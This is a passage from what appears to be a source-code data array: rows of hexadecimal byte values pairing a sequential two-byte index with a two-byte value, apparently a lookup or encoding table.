0x25, 0x5a, 0x15,\r\n0x00, 0x19, 0x26, 0x5b, 0x15,\r\n0x00, 0x19, 0x27, 0x5c, 0x15,\r\n0x00, 0x19, 0x28, 0x5d, 0x15,\r\n0x00, 0x19, 0x29, 0x5e, 0x15,\r\n0x00, 0x19, 0x2A, 0x5f, 0x15,\r\n0x00, 0x19, 0x2B, 0x60, 0x15,\r\n0x00, 0x19, 0x2C, 0xb9, 0x00,\r\n0x00, 0x19, 0x2D, 0x4f, 0x12,\r\n0x00, 0x19, 0x2E, 0x61, 0x15,\r\n0x00, 0x19, 0x2F, 0x05, 0x00,\r\n0x00, 0x19, 0x30, 0x05, 0x00,\r\n0x00, 0x19, 0x31, 0x62, 0x15,\r\n0x00, 0x19, 0x32, 0x63, 0x15,\r\n0x00, 0x19, 0x33, 0xd0, 0x05,\r\n0x00, 0x19, 0x34, 0x64, 0x15,\r\n0x00, 0x19, 0x35, 0x65, 0x15,\r\n0x00, 0x19, 0x36, 0x66, 0x15,\r\n0x00, 0x19, 0x37, 0x67, 0x15,\r\n0x00, 0x19, 0x38, 0x68, 0x15,\r\n0x00, 0x19, 0x39, 0x69, 0x15,\r\n0x00, 0x19, 0x3A, 0x6a, 0x15,\r\n0x00, 0x19, 0x3B, 0x6b, 0x15,\r\n0x00, 0x19, 0x3C, 0x6c, 0x15,\r\n0x00, 0x19, 0x3D, 0x6d, 0x15,\r\n0x00, 0x19, 0x3E, 0x71, 0x07,\r\n0x00, 0x19, 0x3F, 0x6e, 0x15,\r\n0x00, 0x19, 0x40, 0x6f, 0x15,\r\n0x00, 0x19, 0x41, 0x70, 0x15,\r\n0x00, 0x19, 0x42, 0x71, 0x15,\r\n0x00, 0x19, 0x43, 0x72, 0x15,\r\n0x00, 0x19, 0x44, 0x73, 0x15,\r\n0x00, 0x19, 0x45, 0x74, 0x15,\r\n0x00, 0x19, 0x46, 0x75, 0x15,\r\n0x00, 0x19, 0x47, 0xc4, 0x14,\r\n0x00, 0x19, 0x48, 0x76, 0x15,\r\n0x00, 0x19, 0x49, 0x77, 0x15,\r\n0x00, 0x19, 0x4A, 0x78, 0x15,\r\n0x00, 0x19, 0x4B, 0xc4, 0x0c,\r\n0x00, 0x19, 0x4C, 0xe0, 0x09,\r\n0x00, 0x19, 0x4D, 0x0a, 0x14,\r\n0x00, 0x19, 0x4E, 0x79, 0x15,\r\n0x00, 0x19, 0x4F, 0xb9, 0x02,\r\n0x00, 0x19, 0x50, 0x06, 0x0e,\r\n0x00, 0x19, 0x51, 0x7a, 0x15,\r\n0x00, 0x19, 0x52, 0x7b, 0x15,\r\n0x00, 0x19, 0x53, 0x7c, 0x15,\r\n0x00, 0x19, 0x54, 0x7d, 0x15,\r\n0x00, 0x19, 0x55, 0x05, 0x00,\r\n0x00, 0x19, 0x56, 0x05, 0x00,\r\n0x00, 0x19, 0x57, 0x7e, 0x15,\r\n0x00, 0x19, 0x58, 0xb6, 0x0d,\r\n0x00, 0x19, 0x59, 0x7f, 0x15,\r\n0x00, 0x19, 0x5A, 0x80, 0x15,\r\n0x00, 0x19, 0x5B, 0xe8, 0x04,\r\n0x00, 0x19, 0x5C, 0x81, 0x15,\r\n0x00, 0x19, 0x5D, 0xe9, 0x01,\r\n0x00, 0x19, 0x5E, 0xb9, 0x00,\r\n0x00, 0x19, 0x5F, 0x82, 0x15,\r\n0x00, 0x19, 0x60, 0x83, 0x15,\r\n0x00, 0x19, 0x61, 0x84, 0x15,\r\n0x00, 0x19, 0x62, 0x85, 0x15,\r\n0x00, 0x19, 0x63, 0xbe, 0x09,\r\n0x00, 0x19, 0x64, 0x86, 0x15,\r\n0x00, 0x19, 0x65, 0x87, 0x15,\r\n0x00, 0x19, 0x66, 0x3e, 0x0a,\r\n0x00, 0x19, 0x67, 0x88, 0x15,\r\n0x00, 0x19, 0x68, 0x44, 0x01,\r\n0x00, 0x19, 0x69, 0x69, 0x01,\r\n0x00, 0x19, 0x6A, 0x89, 0x15,\r\n0x00, 0x19, 0x6B, 0x8a, 0x15,\r\n0x00, 0x19, 0x6C, 0x8b, 0x15,\r\n0x00, 0x19, 0x6D, 0x8c, 0x15,\r\n0x00, 0x19, 0x6E, 0x8d, 0x15,\r\n0x00, 0x19, 0x6F, 0x8e, 0x15,\r\n0x00, 0x19, 0x70, 0x8f, 0x15,\r\n0x00, 0x19, 0x71, 0xd3, 0x06,\r\n0x00, 0x19, 0x72, 0x90, 0x15,\r\n0x00, 0x19, 0x73, 0x91, 0x15,\r\n0x00, 0x19, 0x74, 0x92, 0x15,\r\n0x00, 0x19, 0x75, 0x93, 0x15,\r\n0x00, 0x19, 0x76, 0x94, 0x15,\r\n0x00, 0x19, 0x77, 0x95, 0x15,\r\n0x00, 0x19, 0x78, 0x96, 0x15,\r\n0x00, 0x19, 0x79, 0xb9, 0x02,\r\n0x00, 0x19, 0x7A, 0x97, 0x15,\r\n0x00, 0x19, 0x7B, 0x98, 0x15,\r\n0x00, 0x19, 0x7C, 0x99, 0x15,\r\n0x00, 0x19, 0x7D, 0xe3, 0x11,\r\n0x00, 0x19, 0x7E, 0xe3, 0x11,\r\n0x00, 0x19, 0x7F, 0x49, 0x03,\r\n0x00, 0x19, 0x80, 0x9a, 0x15,\r\n0x00, 0x19, 0x81, 0x9b, 0x15,\r\n0x00, 0x19, 0x82, 0x9c, 0x15,\r\n0x00, 0x19, 0x83, 0x9d, 0x15,\r\n0x00, 0x19, 0x84, 0x9e, 0x15,\r\n0x00, 0x19, 0x85, 0x9f, 0x15,\r\n0x00, 0x19, 0x86, 0xa0, 0x15,\r\n0x00, 0x19, 0x87, 0x5e, 0x0d,\r\n0x00, 0x19, 0x88, 0xa1, 0x15,\r\n0x00, 0x19, 0x89, 0xa2, 0x15,\r\n0x00, 0x19, 0x8A, 0xa3, 0x15,\r\n0x00, 0x19, 0x8B, 0xa4, 0x15,\r\n0x00, 0x19, 0x8C, 0xa5, 0x15,\r\n0x00, 0x19, 0x8D, 0xa6, 0x15,\r\n0x00, 0x19, 0x8E, 0xa7, 0x15,\r\n0x00, 0x19, 0x8F, 0xa1, 0x0d,\r\n0x00, 0x19, 0x90, 0xa8, 0x15,\r\n0x00, 0x19, 0x91, 0xa9, 0x15,\r\n0x00, 0x19, 0x92, 0x39, 0x01,\r\n0x00, 0x19, 0x93, 0xaa, 0x15,\r\n0x00, 0x19, 0x94, 0xab, 0x15,\r\n0x00, 0x19, 0x95, 0xac, 0x15,\r\n0x00, 0x19, 0x96, 0xad, 0x15,\r\n0x00, 0x19, 0x97, 0xae, 0x15,\r\n0x00, 0x19, 0x98, 0xaf, 0x15,\r\n0x00, 0x19, 0x99, 0xb0, 0x15,\r\n0x00, 0x19, 0x9A, 0xb1, 0x15,\r\n0x00, 0x19, 0x9B, 0xb2, 0x15,\r\n0x00, 0x19, 0x9C, 0xb3, 0x15,\r\n0x00, 0x19, 0x9D, 0xb4, 0x15,\r\n0x00, 0x19, 0x9E, 0xb5, 0x15,\r\n0x00, 0x19, 0x9F, 0xb6, 0x15,\r\n0x00, 0x19, 0xA0, 0xb7, 0x15,\r\n0x00, 0x19, 0xA1, 0x03, 0x10,\r\n0x00, 0x19, 0xA2, 0xb8, 0x15,\r\n0x00, 0x19, 0xA3, 0xb9, 0x15,\r\n0x00, 0x19, 0xA4, 0xba, 0x15,\r\n0x00, 0x19, 0xA5, 0xbb, 0x15,\r\n0x00, 0x19, 0xA6, 0xb9, 0x00,\r\n0x00, 0x19, 0xA7, 0xbc, 0x15,\r\n0x00, 0x19, 0xA8, 0xbd, 0x15,\r\n0x00, 0x19, 0xA9, 0x05, 0x00,\r\n0x00, 0x19, 0xAA, 0x05, 0x00,\r\n0x00, 0x19, 0xAB, 0xbe, 0x15,\r\n0x00, 0x19, 0xAC, 0xbf, 0x15,\r\n0x00, 0x19, 0xAD, 0xc0, 0x15,\r\n0x00, 0x19, 0xAE, 0xc1, 0x15,\r\n0x00, 0x19, 0xAF, 0xc2, 0x15,\r\n0x00, 0x19, 0xB0, 0xc3, 0x15,\r\n0x00, 0x19, 0xB1, 0xc4, 0x15,\r\n0x00, 0x19, 0xB2, 0xc5, 0x15,\r\n0x00, 0x19, 0xB3, 0xc6, 0x15,\r\n0x00, 0x19, 0xB4, 0xc7, 0x15,\r\n0x00, 0x19, 0xB5, 0xc8, 0x15,\r\n0x00, 0x19, 0xB6, 0xc9, 0x15,\r\n0x00, 0x19, 0xB7, 0xb9, 0x02,\r\n0x00, 0x19, 0xB8, 0xca, 0x15,\r\n0x00, 0x19, 0xB9, 0xd1, 0x05,\r\n0x00, 0x19, 0xBA, 0xcb, 0x15,\r\n0x00, 0x19, 0xBB, 0xc9, 0x01,\r\n0x00, 0x19, 0xBC, 0xcc, 0x15,\r\n0x00, 0x19, 0xBD, 0xcd, 0x15,\r\n0x00, 0x19, 0xBE, 0xce, 0x15,\r\n0x00, 0x19, 0xBF, 0xcf, 0x15,\r\n0x00, 0x19, 0xC0, 0xb9, 0x00,\r\n0x00, 0x19, 0xC1, 0x93, 0x02,\r\n0x00, 0x19, 0xC2, 0xd0, 0x15,\r\n0x00, 0x19, 0xC3, 0xd1, 0x15,\r\n0x00, 0x19, 0xC4, 0xd2, 0x15,\r\n0x00, 0x19, 0xC5, 0xd3, 0x03,\r\n0x00, 0x19, 0xC6, 0xe1, 0x12,\r\n0x00, 0x19, 0xC7, 0x34, 0x02,\r\n0x00, 0x19, 0xC8, 0xd3, 0x15,\r\n0x00, 0x19, 0xC9, 0xd4, 0x15,\r\n0x00, 0x19, 0xCA, 0xd5, 0x15,\r\n0x00, 0x19, 0xCB, 0xc6, 0x10,\r\n0x00, 0x19, 0xCC, 0xd6, 0x15,\r\n0x00, 0x19, 0xCD, 0xd7, 0x15,\r\n0x00, 0x19, 0xCE, 0xd8, 0x15,\r\n0x00, 0x19, 0xCF, 0xd9, 0x15,\r\n0x00, 0x19, 0xD0, 0xda, 0x15,\r\n0x00, 0x19, 0xD1, 0x80, 0x10,\r\n0x00, 0x19, 0xD2, 0x80, 0x10,\r\n0x00, 0x19, 0xD3, 0xdb, 0x15,\r\n0x00, 0x19, 0xD4, 0xdc, 0x15,\r\n0x00, 0x19, 0xD5, 0xdd, 0x15,\r\n0x00, 0x19, 0xD6, 0xde, 0x15,\r\n0x00, 0x19, 0xD7, 0xdf, 0x15,\r\n0x00, 0x19, 0xD8, 0xe0, 0x15,\r\n0x00, 0x19, 0xD9, 0xe1, 0x15,\r\n0x00, 0x19, 0xDA, 0xe2, 0x15,\r\n0x00, 0x19, 0xDB, 0x28, 0x0b,\r\n0x00, 0x19, 0xDC, 0xe3, 0x15,\r\n0x00, 0x19, 0xDD, 0xe4, 0x15,\r\n0x00, 0x19, 0xDE, 0xe5, 0x15,\r\n0x00, 0x19, 0xDF, 0x17, 0x07,\r\n0x00, 0x19, 0xE0, 0xcf, 0x09,\r\n0x00, 0x19, 0xE1, 0x69, 0x01,\r\n0x00, 0x19, 0xE2, 0x08, 0x05,\r\n0x00, 0x19, 0xE3, 0x51, 0x03,\r\n0x00, 0x19, 0xE4, 0x02, 0x0c,\r\n0x00, 0x19, 0xE5, 0xe6, 0x15,\r\n0x00, 0x19, 0xE6, 0xe7, 0x15,\r\n0x00, 0x19, 0xE7, 0x05, 0x00,\r\n0x00, 0x19, 0xE8, 0x05, 0x00,\r\n0x00, 0x19, 0xE9, 0xe8, 0x15,\r\n0x00, 0x19, 0xEA, 0xe9, 0x15,\r\n0x00, 0x19, 0xEB, 0xea, 0x15,\r\n0x00, 0x19, 0xEC, 0xeb, 0x15,\r\n0x00, 0x19, 0xED, 0xec, 0x15,\r\n0x00, 0x19, 0xEE, 0xed, 0x15,\r\n0x00, 0x19, 0xEF, 0xe9, 0x01,\r\n0x00, 0x19, 0xF0, 0xee, 0x15,\r\n0x00, 0x19, 0xF1, 0xef, 0x15,\r\n0x00, 0x19, 0xF2, 0xf0, 0x15,\r\n0x00, 0x19, 0xF3, 0xf1, 0x15,\r\n0x00, 0x19, 0xF4, 0xf2, 0x15,\r\n0x00, 0x19, 0xF5, 0xf3, 0x15,\r\n0x00, 0x19, 0xF6, 0xf4, 0x15,\r\n0x00, 0x19, 0xF7, 0xf5, 0x15,\r\n0x00, 0x19, 0xF8, 0xd0, 0x06,\r\n0x00, 0x19, 0xF9, 0xf6, 0x15,\r\n0x00, 0x19, 0xFA, 0xf7, 0x15,\r\n0x00, 0x19, 0xFB, 0xf8, 0x15,\r\n0x00, 0x19, 0xFC, 0xf9, 0x15,\r\n0x00, 0x19, 0xFD, 0xc5, 0x08,\r\n0x00, 0x19, 0xFE, 0xe9, 0x01,\r\n0x00, 0x19, 0xFF, 0xfa, 0x15,\r\n0x00, 0x1A, 0x00, 0x04, 0x00,\r\n0x00, 0x1A, 0x01, 0xfb, 0x15,\r\n0x00, 0x1A, 0x02, 0xfc, 0x15,\r\n0x00, 0x1A, 0x03, 0xfd, 0x15,\r\n0x00, 0x1A, 0x04, 0xfe, 0x15,\r\n0x00, 0x1A, 0x05, 0xff, 0x15,\r\n0x00, 0x1A, 0x06, 0x00, 0x16,\r\n0x00, 0x1A, 0x07, 0x01, 0x16,\r\n0x00, 0x1A, 0x08, 0x02, 0x16,\r\n0x00, 0x1A, 0x09, 0x03, 0x16,\r\n0x00, 0x1A, 0x0A, 0x86, 0x0c,\r\n0x00, 0x1A, 0x0B, 0x04, 0x16,\r\n0x00, 0x1A, 0x0C, 0x05, 0x16,\r\n0x00, 0x1A, 0x0D, 0x06, 0x16,\r\n0x00, 0x1A, 0x0E, 0x07, 0x16,\r\n0x00, 0x1A, 0x0F, 0x08, 0x16,\r\n0x00, 0x1A, 0x10, 0x09, 0x16,\r\n0x00, 0x1A, 0x11, 0x0a, 0x16,\r\n0x00, 0x1A, 0x12, 0x0b, 0x16,\r\n0x00, 0x1A, 0x13, 0x0c, 0x16,\r\n0x00, 0x1A, 0x14, 0x0d, 0x16,\r\n0x00, 0x1A, 0x15, 0x0e, 0x16,\r\n0x00, 0x1A, 0x16, 0xb9, 0x02,\r\n0x00, 0x1A, 0x17, 0x0f, 0x16,\r\n0x00, 0x1A, 0x18, 0xf7, 0x01,\r\n0x00, 0x1A, 0x19, 0x63, 0x00,\r\n0x00, 0x1A, 0x1A, 0x10, 0x16,\r\n0x00, 0x1A, 0x1B, 0xb9, 0x00,\r\n0x00, 0x1A, 0x1C, 0x11, 0x16,\r\n0x00, 0x1A, 0x1D, 0x12, 0x16,\r\n0x00, 0x1A, 0x1E, 0x58, 0x0a,\r\n0x00, 0x1A, 0x1F, 0x13, 0x16,\r\n0x00, 0x1A, 0x20, 0x14, 0x16,\r\n0x00, 0x1A, 0x21, 0x15, 0x16,\r\n0x00, 0x1A, 0x22, 0x16, 0x16,\r\n0x00, 0x1A, 0x23, 0x17, 0x16,\r\n0x00, 0x1A, 0x24, 0x18, 0x16,\r\n0x00, 0x1A, 0x25, 0x19, 0x16,\r\n0x00, 0x1A, 0x26, 0x1a, 0x16,\r\n0x00, 0x1A, 0x27, 0x1b, 0x16,\r\n0x00, 0x1A, 0x28, 0x1c, 0x16,\r\n0x00, 0x1A, 0x29, 0x1d, 0x16,\r\n0x00, 0x1A, 0x2A, 0x5b, 0x10,\r\n0x00, 0x1A, 0x2B, 0x1e, 0x16,\r\n0x00, 0x1A, 0x2C, 0x6d, 0x05,\r\n0x00, 0x1A, 0x2D, 0x1f, 0x16,\r\n0x00, 0x1A, 0x2E, 0x20, 0x16,\r\n0x00, 0x1A, 0x2F, 0x05, 0x00,\r\n0x00, 0x1A, 0x30, 0x05, 0x00,\r\n0x00, 0x1A, 0x31, 0x21, 0x16,\r\n0x00, 0x1A, 0x32, 0x22, 0x16,\r\n0x00, 0x1A, 0x33, 0x23, 0x16,\r\n0x00, 0x1A, 0x34, 0x24, 0x16,\r\n0x00, 0x1A, 0x35, 0x25, 0x16,\r\n0x00, 0x1A, 0x36, 0x26, 0x16,\r\n0x00, 0x1A, 0x37, 0x27, 0x16,\r\n0x00, 0x1A, 0x38, 0x12, 0x0c,\r\n0x00, 0x1A, 0x39, 0x28, 0x16,\r\n0x00, 0x1A, 0x3A, 0x29, 0x16,\r\n0x00, 0x1A, 0x3B, 0x2a, 0x16,\r\n0x00, 0x1A, 0x3C, 0x2b, 0x16,\r\n0x00, 0x1A, 0x3D, 0x2c, 0x16,\r\n0x00, 0x1A, 0x3E, 0x2d, 0x16,\r\n0x00, 0x1A, 0x3F, 0x2e, 0x16,\r\n0x00, 0x1A, 0x40, 0x2f, 0x16,\r\n0x00, 0x1A, 0x41, 0x30, 0x16,\r\n0x00, 0x1A, 0x42, 0x31, 0x16,\r\n0x00, 0x1A, 0x43, 0x32, 0x16,\r\n0x00, 0x1A, 0x44, 0x33, 0x16,\r\n0x00, 0x1A, 0x45, 0xfd, 0x06,\r\n0x00, 0x1A, 0x46, 0x64, 0x0a,\r\n0x00, 0x1A, 0x47, 0x34, 0x16,\r\n0x00, 0x1A, 0x48, 0x35, 0x16,\r\n0x00, 0x1A, 0x49, 0x36, 0x16,\r\n0x00, 0x1A, 0x4A, 0x37, 0x16,\r\n0x00, 0x1A, 0x4B, 0xc9, 0x01,\r\n0x00, 0x1A, 0x4C, 0x38, 0x16,\r\n0x00, 0x1A, 0x4D, 0xf4, 0x0b,\r\n0x00, 0x1A, 0x4E, 0x39, 0x16,\r\n0x00, 0x1A, 0x4F, 0xc3, 0x03,\r\n0x00, 0x1A, 0x50, 0x3a, 0x16,\r\n0x00, 0x1A, 0x51, 0x3b, 0x16,\r\n0x00, 0x1A, 0x52, 0x3c, 0x16,\r\n0x00, 0x1A, 0x53, 0x3d, 0x16,\r\n0x00, 0x1A, 0x54, 0x3e, 0x16,\r\n0x00, 0x1A, 0x55, 0x3f, 0x16,\r\n0x00, 0x1A, 0x56, 0x40, 0x16,\r\n0x00, 0x1A, 0x57, 0x41, 0x16,\r\n0x00, 0x1A, 0x58, 0xba, 0x10,\r\n0x00, 0x1A, 0x59, 0x42, 0x16,\r\n0x00, 0x1A, 0x5A, 0x43, 0x16,\r\n0x00, 0x1A, 0x5B, 0x44, 0x16,\r\n0x00, 0x1A, 0x5C, 0x45, 0x16,\r\n0x00, 0x1A, 0x5D, 0x46, 0x16,\r\n0x00, 0x1A, 0x5E, 0x47, 0x16,\r\n0x00, 0x1A, 0x5F, 0x48, 0x16,\r\n0x00, 0x1A, 0x60, 0x49, 0x16,\r\n0x00, 0x1A, 0x61, 0x4a, 0x16,\r\n0x00, 0x1A, 0x62, 0x4b, 0x16,\r\n0x00, 0x1A, 0x63, 0x4c, 0x16,\r\n0x00, 0x1A, 0x64, 0x2f, 0x02,\r\n0x00, 0x1A, 0x65, 0x4d, 0x16,\r\n0x00, 0x1A, 0x66, 0xb9, 0x00,\r\n0x00, 0x1A, 0x67, 0x8f, 0x04,\r\n0x00, 0x1A, 0x68, 0x4e, 0x16,\r\n0x00, 0x1A, 0x69, 0x4f, 0x16,\r\n0x00, 0x1A, 0x6A, 0x50, 0x16,\r\n0x00, 0x1A, 0x6B, 0x0a, 0x01,\r\n0x00, 0x1A, 0x6C, 0x05, 0x00,\r\n0x00, 0x1A, 0x6D, 0x05, 0x00,\r\n0x00, 0x1A, 0x6E, 0x51, 0x16,\r\n0x00, 0x1A, 0x6F, 0x52, 0x16,\r\n0x00, 0x1A, 0x70, 0xf9, 0x0a,\r\n0x00, 0x1A, 0x71, 0x53, 0x16,\r\n0x00, 0x1A, 0x72, 0x54, 0x16,\r\n0x00, 0x1A, 0x73, 0xe4, 0x08,\r\n0x00, 0x1A, 0x74, 0x55, 0x16,\r\n0x00, 0x1A, 0x75, 0xbe, 0x09,\r\n0x00, 0x1A, 0x76, 0x56, 0x16,\r\n0x00, 0x1A, 0x77, 0xb9, 0x00,\r\n0x00, 0x1A, 0x78, 0x57, 0x16,\r\n0x00, 0x1A, 0x79, 0x58, 0x16,\r\n0x00, 0x1A, 0x7A, 0x59, 0x16,\r\n0x00, 0x1A, 0x7B, 0x5a, 0x16,\r\n0x00, 0x1A, 0x7C, 0x5b, 0x16,\r\n0x00, 0x1A, 0x7D, 0x5c, 0x16,\r\n0x00, 0x1A, 0x7E, 0x5d, 0x16,\r\n0x00, 0x1A, 0x7F, 0x5e, 0x16,\r\n0x00, 0x1A, 0x80, 0x34, 0x01,\r\n0x00, 0x1A, 0x81, 0x5f, 0x16,\r\n0x00, 0x1A, 0x82, 0x60, 0x16,\r\n0x00, 0x1A, 0x83, 0x61, 0x16,\r\n0x00, 0x1A, 0x84, 0x62, 0x16,\r\n0x00, 0x1A, 0x85, 0x63, 0x16,\r\n0x00, 0x1A, 0x86, 0xf7, 0x01,\r\n0x00, 0x1A, 0x87, 0x64, 0x16,\r\n0x00, 0x1A, 0x88, 0x65, 0x16,\r\n0x00, 0x1A, 0x89, 0xb9, 0x02,\r\n0x00, 0x1A, 0x8A, 0x4f, 0x02,\r\n0x00, 0x1A, 0x8B, 0x66, 0x16,\r\n0x00, 0x1A, 0x8C, 0x67, 0x16,\r\n0x00, 0x1A, 0x8D, 0x68, 0x16,\r\n0x00, 0x1A, 0x8E, 0x69, 0x16,\r\n0x00, 0x1A, 0x8F, 0x69, 0x01,\r\n0x00, 0x1A, 0x90, 0x6a, 0x16,\r\n0x00, 0x1A, 0x91, 0x6b, 0x16,\r\n0x00, 0x1A, 0x92, 0x20, 0x0b,\r\n0x00, 0x1A, 0x93, 0x6c, 0x16,\r\n0x00, 0x1A, 0x94, 0x6d, 0x16,\r\n0x00, 0x1A, 0x95, 0x6e, 0x16,\r\n0x00, 0x1A, 0x96, 0x6f, 0x16,\r\n0x00, 0x1A, 0x97, 0x70, 0x16,\r\n0x00, 0x1A, 0x98, 0x71, 0x16,\r\n0x00, 0x1A, 0x99, 0x72, 0x16,\r\n0x00, 0x1A, 0x9A, 0x50, 0x13,\r\n0x00, 0x1A, 0x9B, 0x73, 0x16,\r\n0x00, 0x1A, 0x9C, 0x74, 0x16,\r\n0x00, 0x1A, 0x9D, 0x75, 0x16,\r\n0x00, 0x1A, 0x9E, 0x76, 0x16,\r\n0x00, 0x1A, 0x9F, 0x77, 0x16,\r\n0x00, 0x1A, 0xA0, 0xd1, 0x05,\r\n0x00, 0x1A, 0xA1, 0x05, 0x00,\r\n0x00, 0x1A, 0xA2, 0x05, 0x00,\r\n0x00, 0x1A, 0xA3, 0x78, 0x16,\r\n0x00, 0x1A, 0xA4, 0x79, 0x16,\r\n0x00, 0x1A, 0xA5, 0x7a, 0x16,\r\n0x00, 0x1A, 0xA6, 0x7b, 0x16,\r\n0x00, 0x1A, 0xA7, 0x7c, 0x16,\r\n0x00, 0x1A, 0xA8, 0x7d, 0x16,\r\n0x00, 0x1A, 0xA9, 0xe0, 0x09,\r\n0x00, 0x1A, 0xAA, 0x7e, 0x16,\r\n0x00, 0x1A, 0xAB, 0x7f, 0x16,\r\n0x00, 0x1A, 0xAC, 0x80, 0x16,\r\n0x00, 0x1A, 0xAD, 0xb9, 0x00,\r\n0x00, 0x1A, 0xAE, 0x81, 0x16,\r\n0x00, 0x1A, 0xAF, 0x82, 0x16,\r\n0x00, 0x1A, 0xB0, 0x83, 0x16,\r\n0x00, 0x1A, 0xB1, 0xb8, 0x0f,\r\n0x00, 0x1A, 0xB2, 0x84, 0x16,\r\n0x00, 0x1A, 0xB3, 0x85, 0x16,\r\n0x00, 0x1A, 0xB4, 0x86, 0x16,\r\n0x00, 0x1A, 0xB5, 0x87, 0x16,\r\n0x00, 0x1A, 0xB6, 0xeb, 0x0f,\r\n0x00, 0x1A, 0xB7, 0x88, 0x16,\r\n0x00, 0x1A, 0xB8, 0x89, 0x16,\r\n0x00, 0x1A, 0xB9, 0x8a, 0x16,\r\n0x00, 0x1A, 0xBA, 0x8b, 0x16,\r\n0x00, 0x1A, 0xBB, 0x8c, 0x16,\r\n0x00, 0x1A, 0xBC, 0xa5, 0x12,\r\n0x00, 0x1A, 0xBD, 0x8d, 0x16,\r\n0x00, 0x1A, 0xBE, 0x63, 0x00,\r\n0x00, 0x1A, 0xBF, 0x8e, 0x16,\r\n0x00, 0x1A, 0xC0, 0x8f, 0x16,\r\n0x00, 0x1A, 0xC1, 0xf2, 0x00,\r\n0x00, 0x1A, 0xC2, 0x90, 0x16,\r\n0x00, 0x1A, 0xC3, 0x8c, 0x01,\r\n0x00, 0x1A, 0xC4, 0x02, 0x0c,\r\n0x00, 0x1A, 0xC5, 0x91, 0x16,\r\n0x00, 0x1A, 0xC6, 0x75, 0x0c,\r\n0x00, 0x1A, 0xC7, 0x92, 0x16,\r\n0x00, 0x1A, 0xC8, 0x93, 0x16,\r\n0x00, 0x1A, 0xC9, 0x94, 0x16,\r\n0x00, 0x1A, 0xCA, 0x95, 0x16,\r\n0x00, 0x1A, 0xCB, 0x96, 0x16,\r\n0x00, 0x1A, 0xCC, 0x97, 0x16,\r\n0x00, 0x1A, 0xCD, 0x98, 0x16,\r\n0x00, 0x1A, 0xCE, 0x99, 0x16,\r\n0x00, 0x1A, 0xCF, 0x9a, 0x16,\r\n0x00, 0x1A, 0xD0, 0x9b, 0x16,\r\n0x00, 0x1A, 0xD1, 0x9c, 0x16,\r\n0x00, 0x1A, 0xD2, 0x9d, 0x16,\r\n0x00, 0x1A, 0xD3, 0x9e, 0x16,\r\n0x00, 0x1A, 0xD4, 0x9f, 0x16,\r\n0x00, 0x1A, 0xD5, 0xa0, 0x16,\r\n0x00, 0x1A, 0xD6, 0xa1, 0x16,\r\n0x00, 0x1A, 0xD7, 0xa2, 0x16,\r\n0x00, 0x1A, 0xD8, 0xa3, 0x16,\r\n0x00, 0x1A, 0xD9, 0xdf, 0x03,\r\n0x00, 0x1A, 0xDA, 0xa4, 0x16,\r\n0x00, 0x1A, 0xDB, 0xb9, 0x00,\r\n0x00, 0x1A, 0xDC, 0xb9, 0x02,\r\n0x00, 0x1A, 0xDD, 0xa5, 0x16,\r\n0x00, 0x1A, 0xDE, 0xb9, 0x00,\r\n0x00, 0x1A, 0xDF, 0x40, 0x06,\r\n0x00, 0x1A, 0xE0, 0xa6, 0x16,\r\n0x00, 0x1A, 0xE1, 0xa7, 0x16,\r\n0x00, 0x1A, 0xE2, 0x05, 0x00,\r\n0x00, 0x1A, 0xE3, 0x05, 0x00,\r\n0x00, 0x1A, 0xE4, 0xa8, 0x16,\r\n0x00, 0x1A, 0xE5, 0xa9, 0x16,\r\n0x00, 0x1A, 0xE6, 0xaa, 0x16,\r\n0x00, 0x1A, 0xE7, 0xab, 0x16,\r\n0x00, 0x1A, 0xE8, 0xac, 0x16,\r\n0x00, 0x1A, 0xE9, 0xc5, 0x08,\r\n0x00, 0x1A, 0xEA, 0xad, 0x16,\r\n0x00, 0x1A, 0xEB, 0xc0, 0x00,\r\n0x00, 0x1A, 0xEC, 0xae, 0x16,\r\n0x00, 0x1A, 0xED, 0xaf, 0x16,\r\n0x00, 0x1A, 0xEE, 0xb0, 0x16,\r\n0x00, 0x1A, 0xEF, 0xb1, 0x16,\r\n0x00, 0x1A, 0xF0, 0xd1, 0x06,\r\n0x00, 0x1A, 0xF1, 0xd0, 0x06,\r\n0x00, 0x1A, 0xF2, 0xb2, 0x16,\r\n0x00, 0x1A, 0xF3, 0xb3, 0x16,\r\n0x00, 0x1A, 0xF4, 0xb4, 0x16,\r\n0x00, 0x1A, 0xF5, 0xb5, 0x16,\r\n0x00, 0x1A, 0xF6, 0xb6, 0x16,\r\n0x00, 0x1A, 0xF7, 0xb7, 0x16,\r\n0x00, 0x1A, 0xF8, 0xb8, 0x16,\r\n0x00, 0x1A, 0xF9, 0xb9, 0x16,\r\n0x00, 0x1A, 0xFA, 0xba, 0x16,\r\n0x00, 0x1A, 0xFB, 0xbb, 0x16,\r\n0x00, 0x1A, 0xFC, 0xbc, 0x16,\r\n0x00, 0x1A, 0xFD, 0xbd, 0x16,\r\n0x00, 0x1A, 0xFE, 0xbe, 0x16,\r\n0x00, 0x1A, 0xFF, 0xbf, 0x16,\r\n0x00, 0x1B, 0x00, 0xc0, 0x16,\r\n0x00, 0x1B, 0x01, 0xc1, 0x16,\r\n0x00, 0x1B, 0x02, 0xc2, 0x16,\r\n0x00, 0x1B, 0x03, 0xc3, 0x16,\r\n0x00, 0x1B, 0x04, 0xc4, 0x16,\r\n0x00, 0x1B, 0x05, 0xc5, 0x16,\r\n0x00, 0x1B, 0x06, 0xc6, 0x16,\r\n0x00, 0x1B, 0x07, 0xc7, 0x16,\r\n0x00, 0x1B, 0x08, 0xc8, 0x16,\r\n0x00, 0x1B, 0x09, 0xc9, 0x16,\r\n0x00, 0x1B, 0x0A, 0xe9, 0x03,\r\n0x00, 0x1B, 0x0B, 0xca, 0x16,\r\n0x00, 0x1B, 0x0C, 0x05, 0x00,\r\n0x00, 0x1B, 0x0D, 0x05, 0x00,\r\n0x00, 0x1B, 0x0E, 0xcb, 0x16,\r\n0x00, 0x1B, 0x0F, 0xcc, 0x16,\r\n0x00, 0x1B, 0x10, 0xe9, 0x01,\r\n0x00, 0x1B, 0x11, 0xe8, 0x04,\r\n0x00, 0x1B, 0x12, 0xcd, 0x16,\r\n0x00, 0x1B, 0x13, 0xce, 0x16,\r\n0x00, 0x1B, 0x14, 0xcf, 0x16,\r\n0x00, 0x1B, 0x15, 0xd0, 0x16,\r\n0x00, 0x1B, 0x16, 0xd1, 0x16,\r\n0x00, 0x1B, 0x17, 0xd2, 0x16,\r\n0x00, 0x1B, 0x18, 0xd3, 0x16,\r\n0x00, 0x1B, 0x19, 0xd4, 0x16,\r\n0x00, 0x1B, 0x1A, 0xd5, 0x16,\r\n0x00, 0x1B, 0x1B, 0xc7, 0x01,\r\n0x00, 0x1B, 0x1C, 0x53, 